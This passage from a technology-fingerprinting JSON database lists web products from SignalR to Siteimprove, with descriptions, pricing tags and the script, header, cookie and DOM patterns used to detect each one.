},\n    \"scriptSrc\": [\n      \"//s\\\\.btstatic\\\\.com/tag\\\\.js\",\n      \"//s\\\\.thebrighttag\\\\.com/iframe\\\\?\"\n    ],\n    \"website\": \"https://www.signal.co/\"\n  },\n  \"SignalR\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Realtime web communication framework from Microsoft for ASP.NET.\",\n    \"scriptSrc\": [\n      \"(?:jquery\\\\.)?signal[rR](?:-((?:\\\\d+\\\\.)+\\\\d+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/jquery\\\\.)?signal[rR](?:-)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dotnet.microsoft.com/es-es/apps/aspnet/signalr\"\n  },\n  \"Signifyd\": {\n    \"cats\": [\n      10,\n      16\n    ],\n    \"description\": \"Signifyd is a provider of an enterprise-grade fraud technology solution for ecommerce stores.\",\n    \"icon\": \"Signifyd.svg\",\n    \"js\": {\n      \"SIGNIFYD_GLOBAL\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.signifyd\\\\.com\"\n    ],\n    \"website\": \"https://www.signifyd.com\"\n  },\n  \"Silex\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Silex is an open-source web-based website builder that allows users to create websites without writing code.\",\n    \"icon\": \"Silex.svg\",\n    \"js\": {\n      \"silex.getCurrentPage\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Silex v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://www.silex.me\"\n  },\n  \"Silverstripe\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:silverstripe:silverstripe:*:*:*:*:*:*:*:*\",\n    \"description\": \"Silverstripe CMS is a free and open source Content Management System and Framework for creating and maintaining websites and web applications.\",\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+Silverstripe\"\n    ],\n    \"icon\": \"SilverStripe.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^SilverStripe\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.silverstripe.org/\"\n  },\n  \"Simbel\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"powered\": \"simbel\"\n    },\n    \"icon\": \"simbel.svg\",\n    \"website\": \"https://simbel.com.ar/\"\n  },\n  \"Simbla\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Simbla is an AI-powered CRM platform.\",\n    \"icon\": \"Simbla.svg\",\n    \"js\": {\n      \"Simbla\": \"\",\n      \"createSimblaObj\": \"\",\n      \"isSimblaObject\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.simbla.com\"\n  },\n  \"Simla\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Simla is a multi-agent, all-in-one solution for businesses selling products and services through WhatsApp, Facebook, Instagram, and websites.\",\n    \"icon\": \"Simla.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.retailcrm\\\\.tech/\"\n    ],\n    \"website\": \"https://www.simla.com\"\n  },\n  \"Simon\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Simon is a customer data platform (CDP) that helps you collect, clean, and control your customer data.\",\n    \"dom\": [\n      \"link[href*='.simonsignal.com']\"\n    ],\n    \"icon\": \"Simon.svg\",\n    \"js\": {\n      \"SimonData\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.simonsignal\\\\.com\"\n    ],\n    \"website\": \"https://www.simondata.com/\"\n  },\n  \"Simpl\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Simpl is a fintech company that offers a cardless payment network with multiple solutions for merchants and consumers.\",\n    \"icon\": \"Simpl.svg\",\n    \"js\": {\n      \"simplSettings\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://getsimpl.com\"\n  },\n  \"Simple Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Simple Analytics is a privacy-friendly Google Analytics alternative.\",\n    \"icon\": \"Simple Analytics.svg\",\n    \"js\": {\n      \"sa_event\": \"\\\\;confidence:25\",\n      \"sa_event_loaded\": \"\\\\;confidence:50\",\n      \"sa_loaded\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"simpleanalyticscdn\\\\.com\",\n      \"simpleanalytics\\\\.io\",\n      \"simpleanalytics\\\\.com\"\n    ],\n    \"website\": \"https://simpleanalytics.com\"\n  },\n  \"Simple Goods\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Simple Goods is a platform that enables online selling through a website.\",\n    \"dom\": [\n      \"link[href*='app.simplegoods.co/']\"\n    ],\n    \"icon\": \"SimpleGoods.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://simplegoods.co\"\n  },\n  \"Simple Machines Forum\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:simplemachines:simple_machine_forum:*:*:*:*:*:*:*:*\",\n    \"description\": \"Simple Machines Forum is a free open-source software, used for community forums and is written in PHP.\",\n    \"dom\": {\n      \"li > span > a[title='Simple Machines Forum']\": {\n        \"text\": \"^SMF\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n      }\n    },\n    \"icon\": \"Simple Machines Forum.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"smf_avatarResize\": \"\",\n      \"smf_default_theme_url\": \"\",\n      \"smf_theme_url\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.simplemachines.org\"\n  },\n  \"Simple.css\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Simple.css is a CSS template.\",\n    \"dom\": [\n      \"link[href*='cdn.simplecss.org/']\"\n    ],\n    \"icon\": \"Simple.css.svg\",\n    \"oss\": true,\n    \"website\": \"https://simplecss.org\"\n  },\n  \"Simple.ink\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Simple.ink allows you to build no-code websites with Notion.\",\n    \"dom\": [\n      \"html#simple-ink\"\n    ],\n    \"icon\": \"Simple.ink.svg\",\n    \"implies\": [\n      \"Notion\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.simple.ink\"\n  },\n  \"SimpleHTTP\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"SimpleHTTP(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://example.com\"\n  },\n  \"SimpleSAMLphp\": {\n    \"cats\": [\n      69\n    ],\n    \"cookies\": {\n      \"SimpleSAML\": \"\",\n      \"SimpleSAMLSessionID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:simplesamlphp:simplesamlphp:*:*:*:*:*:*:*:*\",\n    \"description\": \"SimpleSAMLphp is an open-source PHP authentication application that provides support for SAML 2.0 as a Service Provider (SP) or Identity Provider (IdP).\",\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://simplesamlphp.org\"\n  },\n  \"SimpleSat\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"SimpleSat is a customer satisfaction survey tool designed for service businesses to collect feedback from their customers in an engaging manner.\",\n    \"dom\": [\n      \"link[href*='cdn.simplesat.io/']\"\n    ],\n    \"icon\": \"SimpleSat.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.simplesat\\\\.io/\"\n    ],\n    \"website\": \"https://www.simplesat.io\"\n  },\n  \"Simplero\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Simplero is an all-in-one marketing software.\",\n    \"dom\": [\n      \"a[href*='.simplero.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Simplero.svg\",\n    \"js\": {\n      \"Simplero\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.simplero\\\\.com/\"\n    ],\n    \"website\": \"https://simplero.com\"\n  },\n  \"Simplero Websites\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"_simplero_session_id\": \"\"\n    },\n    \"description\": \"Simplero Websites are a learning management system which suited for courses, coaching programs, memberships and digital products by Simplero.\",\n    \"icon\": \"Simplero.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://simplero.com/websites\"\n  },\n  \"SimplexNoise.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"SimplexNoise.js is a library that generates pseudorandom noise functions, designed for use in video games, graphical applications, and demoscene production.\",\n    \"js\": {\n      \"SimplexNoise\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/simplex-noise/([\\\\d\\\\.]+)/simplex-noise.min.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/jwagner/simplex-noise.js\"\n  },\n  \"Simpli.fi\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Simpli.fi is a programmatic advertising and agency management software.\",\n    \"icon\": \"Simplifi.svg\",\n    \"scriptSrc\": [\n      \"\\\\.simpli\\\\.fi\"\n    ],\n    \"website\": \"https://simpli.fi/\"\n  },\n  \"Simplio Upsells\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Simplio Upsells сreate more revenue with promotions and post purchase upsells.\",\n    \"icon\": \"Simplio Upsells.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//upsell\\\\.simplio\\\\.app/\"\n    ],\n    \"website\": \"https://apps.shopify.com/simple-promotions-and-upsells\"\n  },\n  \"Simplo7\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Simplo7 is an all-in-one ecommerce product.\",\n    \"icon\": \"Simplo7.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.simplo7\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.simplo7.com.br\"\n  },\n  \"Simplotel\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Simplotel is a hotel booking engine.\",\n    \"icon\": \"Simplotel.svg\",\n    \"js\": {\n      \"validateform_simplotel\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.simplotel\\\\.com/\"\n    ],\n    \"website\": \"https://www.simplotel.com\"\n  },\n  \"SimplyBook.me\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"SimplyBook.me is an online appointment scheduling and booking software.\",\n    \"dom\": {\n      \"a[href*='.simplybook.'][target='_blank']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.simplybook\\\\.(?:asia|it|me)\"\n        }\n      }\n    },\n    \"icon\": \"SimplyBook.me.svg\",\n    \"js\": {\n      \"configSoinSimplyPush\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.simplybook\\\\.(?:asia|it|me)\"\n    ],\n    \"website\": \"https://simplybook.me\"\n  },\n  \"SimplyCast\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SimplyCast is a custom flow communication platform designed to facilitate personalised messaging and automated workflows, allowing businesses to streamline their communication processes.\",\n    \"dom\": [\n      \"iframe[scr*='.simplycast.com']\"\n    ],\n    \"icon\": \"SimplyCast.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.simplycast\\\\.com/\"\n    ],\n    \"website\": \"https://www.simplycast.com\"\n  },\n  \"Simplébo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Simplébo is a French company that provides website creation and management services, including tools for building, hosting, and optimizing websites and ecommerce platforms.\",\n    \"headers\": {\n      \"X-ServedBy\": \"simplebo\"\n    },\n    \"icon\": \"Simplebo.svg\",\n    \"website\": \"https://www.simplebo.fr\"\n  },\n  \"Simvoly\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Simvoly is a drag-and-drop website builder for small and medium-sized businesses, agencies, and freelancers.\",\n    \"icon\": \"Simvoly.svg\",\n    \"js\": {\n      \"Simvoly\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://simvoly.com\"\n  },\n  \"Sinatra\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Sinatra is a lightweight and highly customizable multi-purpose WordPress theme.\",\n    \"icon\": \"Sinatra.svg\",\n    \"js\": {\n      \"sinatraSlideUp\": \"\",\n      \"sinatra_vars.nonce\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/sinatra/.+sinatra\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://try.sinatrawp.com\"\n  },\n  \"Sinch\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Sinch is a platform that connects businesses and customers through tools that enable personal engagement.\",\n    \"icon\": \"Sinch.svg\",\n    \"js\": {\n      \"SinchClient\": \"\",\n      \"SinchSdk\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sinch.com\"\n  },\n  \"Sirclo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sirclo offers online business solutions.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Sirclo\"\n    },\n    \"icon\": \"Sirclo.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"template\\\\.sirclocdn\\\\.com/\"\n    ],\n    \"url\": [\n      \"^https?//.+\\\\.sirclo\\\\.me\"\n    ],\n    \"website\": \"https://sirclo.com/\"\n  },\n  \"Sirdata\": {\n    \"cats\": [\n      97,\n      67,\n      86\n    ],\n    \"description\": \"Sirdata is a self-service, third party data-collecting platform that specialises in the collection of behavioural data, predictive targeting and selling of audience segments.\",\n    \"icon\": \"Sirdata.svg\",\n    \"js\": {\n      \"SDDAN.cmp\": \"\",\n      \"Sddan.cmpLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:choices|cache)\\\\.consentframework\\\\.com/\",\n      \"js\\\\.sddan\\\\.com/\"\n    ],\n    \"website\": \"https://www.sirdata.com\"\n  },\n  \"Sirge\": {\n    \"cats\": [\n      10,\n      100\n    ],\n    \"description\": \"Sirge is an analytics platform that tracks website visits, customer behavior, and provides insights to optimise return on ad spend (ROAS) and conversions.\",\n    \"icon\": \"Sirge.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.app\\\\.sirge\\\\.com/\"\n    ],\n    \"website\": \"https://www.sirge.com\"\n  },\n  \"Sirvoy\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Sirvoy is a cloud-based hotel management software that streamlines various hotel operations, including reservation management, channel management, online booking, and property management.\",\n    \"icon\": \"Sirvoy.svg\",\n    \"js\": {\n      \"SirvoyBookingWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sirvoy.com\"\n  },\n  \"Site Kit\": {\n    \"cats\": [\n      10,\n      87\n    ],\n    \"description\": \"Site Kit is a one-stop solution for WordPress users to use everything Google has to offer to make them successful on the web.\",\n    \"icon\": \"Google.svg\",\n    \"meta\": {\n      \"generator\": \"^Site Kit by Google ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://sitekit.withgoogle.com/\"\n  },\n  \"Site Meter\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Site Meter.png\",\n    \"scriptSrc\": [\n      \"sitemeter\\\\.com/js/counter\\\\.js\\\\?site=\"\n    ],\n    \"website\": \"https://www.sitemeter.com\"\n  },\n  \"Site Search 360\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Site Search 360 is a site search as a service solution.\",\n    \"icon\": \"Site Search 360.svg\",\n    \"js\": {\n      \"ss360Config\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sitesearch360.com/\"\n  },\n  \"Site24x7\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Site24x7 is a cloud-based website and server monitoring platform.\",\n    \"icon\": \"Site24x7.png\",\n    \"js\": {\n      \"S247RumQueueImpl\": \"\",\n      \"s247RUM\": \"\",\n      \"site24x7RumError\": \"\",\n      \"site24x7rum\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.site24x7rum\\\\.com\"\n    ],\n    \"website\": \"https://www.site24x7.com\"\n  },\n  \"SiteEdit\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"SiteEdit is a Russian website builder and CMS.\",\n    \"icon\": \"SiteEdit.svg\",\n    \"meta\": {\n      \"generator\": \"SiteEdit\"\n    },\n    \"website\": \"https://www.siteedit.ru\"\n  },\n  \"SiteGround\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"SiteGround is a web hosting service.\",\n    \"dns\": {\n      \"NS\": \"ns\\\\d+\\\\.c\\\\d+\\\\.sgvps\\\\.net\",\n      \"SOA\": \"\\\\.siteground\\\\.net\"\n    },\n    \"headers\": {\n      \"host-header\": \"192fc2e7e50945beb8231a492d6a8024|b7440e60b07ee7b8044761568fab26e8|624d5be7be38418a3e2a818cc8b7029b|6b7412fb82ca5edfd0917e3957f05d89\"\n    },\n    \"icon\": \"siteground.svg\",\n    \"website\": \"https://www.siteground.com\"\n  },\n  \"SiteGuard WP Plugin\": {\n    \"cats\": [\n      87,\n      16\n    ],\n    \"description\": \"SiteGurad WP Plugin is the plugin specialised for the protection against the attack to the management page and login.\",\n    \"dom\": [\n      \"img[src*='/wp-content/plugins/siteguard/']\"\n    ],\n    \"icon\": \"SiteGuard WP Plugin.png\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.jp-secure.com/siteguard_wp_plugin_en\"\n  },\n  \"SiteJabber\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Sitejabber is the leading destination for customer ratings and reviews of businesses. Consumers find ratings and read reviews to ensure they buy from the best companies.\",\n    \"icon\": \"SiteJabber.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"biz\\\\.sitejabber\\\\.com\"\n    ],\n    \"website\": \"https://www.sitejabber.com/\"\n  },\n  \"SiteLock\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"SiteLock is a security service that protects websites from hackers, malware, and other threats.\",\n    \"dom\": [\n      \"a[href*='#'] > img[src*='.sitelock.com/']\"\n    ],\n    \"icon\": \"SiteLock.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sitelock.com\"\n  },\n  \"SiteManager\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"SiteManager is a collaborative no-code/low-code web design platform for agencies and marketing teams.\",\n    \"dom\": [\n      \"link[href*='.sitemn.gr/']\"\n    ],\n    \"icon\": \"SiteManager.svg\",\n    \"js\": {\n      \"SM_CookiesModal\": \"\\\\;confidence:50\",\n      \"SM_Modal\": \"\\\\;confidence:50\",\n      \"swvar_urltext\": \"Powered By SiteManager\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"PHP\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"s\\\\d+\\\\.sitemn\\\\.gr/\"\n    ],\n    \"website\": \"https://www.sitemanager.io\"\n  },\n  \"SiteMinder\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"SiteMinder is a appointment booking solution designed for hotels.\",\n    \"icon\": \"SiteMinder.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.siteminder\\\\.com\"\n    ],\n    \"website\": \"https://www.siteminder.com\"\n  },\n  \"SiteOrigin Page Builder\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"Page Builder by SiteOrigin makes it easy to build responsive grid-based page content that adapts to mobile devices with pixel perfect accuracy.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/siteorigin-panels/']\"\n    ],\n    \"icon\": \"SiteOrigin.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/siteorigin-panels/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://siteorigin.com/page-builder\"\n  },\n  \"SiteOrigin Vantage\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"SiteOrigin Vantage is a response, multi-purpose theme carefully developed with seamless integration into an array of amazing third-party plugins.\",\n    \"dom\": [\n      \"style#vantage-style-css\"\n    ],\n    \"icon\": \"SiteOrigin.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/vantage/\"\n    ],\n    \"website\": \"https://siteorigin.com/theme/vantage\"\n  },\n  \"SiteOrigin Widgets Bundle\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"SiteOrigin Widgets Bundle is a WordPress plugin that gives you all the elements you need to build modern, responsive, and engaging website pages.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/so-widgets-bundle/']\"\n    ],\n    \"icon\": \"SiteOrigin.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/so-widgets-bundle/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://siteorigin.com/widgets-bundle\"\n  },\n  \"SitePad\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"SitePad is a WYSIWYG drag and drop website building and maintenance program.\",\n    \"icon\": \"SitePad.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^SitePad(?:\\\\s([\\\\d\\\\.]+))?$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://sitepad.com\"\n  },\n  \"SitePoint\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Sitepoint is a platform for creating beautiful and responsive custom WordPress themes.\",\n    \"dom\": [\n      \"script#sitepoint-base-vendors-js\"\n    ],\n    \"icon\": \"SitePoint.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/themes/sitepoint-base/js/vendors(?:\\\\.min)?\\\\.js\\\\?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.sitepoint.com/wordpress\"\n  },\n  \"SiteSpect\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"SiteSpect is the A/B testing and optimisation solution.\",\n    \"icon\": \"SiteSpect.svg\",\n    \"js\": {\n      \"ss_dom_var\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/__ssobj/core\\\\.js\"\n    ],\n    \"website\": \"https://www.sitespect.com\"\n  },\n  \"SiteVibes\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SiteVibes is a cloud-based user generated content and visual marketing platform.\",\n    \"icon\": \"SiteVibes.svg\",\n    \"js\": {\n      \"SiteVibesManager\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.sitevibes\\\\.com/\"\n    ],\n    \"website\": \"https://sitevibes.com\"\n  },\n  \"SiteW\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"SiteW is a French-based company that offers a website building service.\",\n    \"dom\": [\n      \"link[href*='.sitew.com']\"\n    ],\n    \"icon\": \"SiteW.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.en.sitew.com\"\n  },\n  \"Sitecore\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"SC_ANALYTICS_GLOBAL_COOKIE\": \"\",\n      \"SC_OS_SessionId\": \"\",\n      \"sc_expview\": \"\",\n      \"sxa_site\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:sitecore:*:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sitecore provides web content management, and multichannel marketing automation software.\",\n    \"dom\": [\n      \"link[href*='/_sitecore/']\",\n      \"img[src^='/-/media/']\",\n      \"img[src*='/~/media/.+\\\\.ashx']\"\n    ],\n    \"icon\": \"Sitecore.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"SitecoreUtilities\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"high\"\n    ],\n    \"probe\": {\n      \"/layouts/System/VisitorIdentification.aspx\": \"sc_Contact\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.sitecore.com/\"\n  },\n  \"Sitecore Engagement Cloud\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Sitecore Engagement Cloud is a cloud-based customer experience management platform offering content management, personalisation, marketing automation, analytics, and omni-channel delivery for enhancing digital marketing efforts and improving customer experiences.\",\n    \"icon\": \"Sitecore.svg\",\n    \"implies\": [\n      \"Sitecore\"\n    ],\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/sitecore-engage-v\\\\.([\\\\d\\\\.]+)\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.sitecore.com/products/engagement-cloud\"\n  },\n  \"Sitecore Experience Edge\": {\n    \"cats\": [\n      23\n    ],\n    \"description\": \"Sitecore Experience Edge is a product that optimises content delivery by utilising edge computing and caching technologies to enhance website performance and user experience.\",\n    \"dom\": [\n      \"img[src*='edge.sitecorecloud.io']\"\n    ],\n    \"icon\": \"Sitecore.svg\",\n    \"implies\": [\n      \"GraphQL\",\n      \"Sitecore Experience Platform\"\n    ],\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"high\"\n    ],\n    \"requiresCategory\": [\n      12\n    ],\n    \"saas\": false,\n    \"website\": \"https://doc.sitecore.com/xp/en/developers/101/developer-tools/experience-edge-for-xm-apis.html\"\n  },\n  \"Sitecore Experience Platform\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Sitecore Experience Platform is a digital platform used by businesses to create, manage, and deliver personalised content and experiences to users across different channels.\",\n    \"icon\": \"Sitecore.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sitecore.com/products/sitecore-experience-platform\"\n  },\n  \"Siteglide\": {\n    \"cats\": [\n      1,\n      53\n    ],\n    \"description\": \"SiteGlide is a Digital Experience Platform (DEP) for ecommerce stores, membership sites and customer portals.\",\n    \"icon\": \"Siteglide.svg\",\n    \"implies\": [\n      \"PlatformOS\"\n    ],\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"siteglide\\\\.js\"\n    ],\n    \"website\": \"https://www.siteglide.com\"\n  },\n  \"Siteimprove\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Siteimprove is a digital analytics and content QA platform.\",\n    \"icon\": \"Siteimprove.svg\",\n    \"js\": {\n      \"_sz.analytics.heatmap\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.|//)siteimprove(?:analytics)?\\\\.com/js/siteanalyze\"\n    ],\n    \"website\": 